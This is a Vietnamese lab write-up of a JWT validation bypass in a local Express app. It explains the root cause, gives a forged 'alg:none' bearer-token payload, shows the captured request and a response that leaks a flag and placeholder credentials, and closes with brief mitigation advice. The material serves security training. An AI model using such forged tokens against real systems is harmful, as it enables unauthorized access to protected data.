

JWT WRITEUP

JWT -Vulnerability Lab Report

Danh sách lỗ hổng trong lab

#	Tên lỗ hổng	Endpoint / Function
01	Authentication Bypass / JWT Validation Bypass	/admin/secrets

Chi tiết lỗ hổng

Vulnerability 01 - Authentication Bypass / JWT Validation Bypass

Loại lỗi	Authentication Bypass / JWT Validation Bypass
Endpoint	GET /admin/secrets
Tham số	Authorization: Bearer

Root Cause

Ứng dụng xác thực quyền admin bằng token JWT. Tuy nhiên cách xử lý của server dẫn đến lỗ hổng không cần token hợp lệ cũng pass qua được middleware auth. Cụ thể khi decode token lỗi, hệ thống sẽ kiểm tra xem token có bao gồm **"alg":"none"** hay không để tạo token mới và pass qua.

Attack Path

- Thay thế token trong header Authorization bằng **Bearer aaa"alg":"none".bbb.ccc**
- Hệ thống sẽ decode fail và kiểm tra có **"alg":"none"** trong token không
- Pass qua hết các lớp và có quyền truy cập xem nội dung của **/admin/secrets**

Payload

Authorization: Bearer aaa"alg":"none".bbb.ccc

Evidence

```
1 GET /admin/secrets HTTP/1.1
2 Host: localhost:5002
3 sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"
4 sec-ch-ua-mobile: ?0
5 sec-ch-ua-platform: "Windows"
6 Accept-Language: en-GB,en;q=0.9
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
9
10 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,ima
  ge/png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11
12 Sec-Fetch-Site: none
13 Sec-Fetch-Mode: navigate
14 Sec-Fetch-User: ?1
15 Sec-Fetch-Dest: document
16 Accept-Encoding: gzip, deflate, br
17 Authorization: Bearer aaa"alg":"none".bbb.ccc
18 Connection: keep-alive
19 Content-Length: 2
20
1 HTTP/1.1 200 OK
2 X-Powered-By: Express
3 Content-Type: application/json; charset=utf-8
4 Content-Length: 244
5 ETag: W/"f4-TuM2jgA4r6615gbfVhDNqTfzjs"
6 Date: Mon, 13 Jul 2026 13:31:48 GMT
7 Connection: keep-alive
8 Keep-Alive: timeout=5
9
10 {
  "message": "Welcome Admin!",
  "secret_data": "ThTCSec(JWT_None_Algorithma_Exploited_2026)",
  "database_credentials": {
    "host": "db.corp.local",
    "username": "admin",
    "password": "AdminP@ssw0rd123!"
  },
  "api_keys": {
    "sk_live_abcl23def456",
    "pk_live_xyz789uvw012"
  }
}
```

Hình 1. Bằng chứng khai thác

Mitigation

Ứng dụng phải fail-closed khi `jwt.verify()` thất bại.

Kiểm tra các claims cần thiết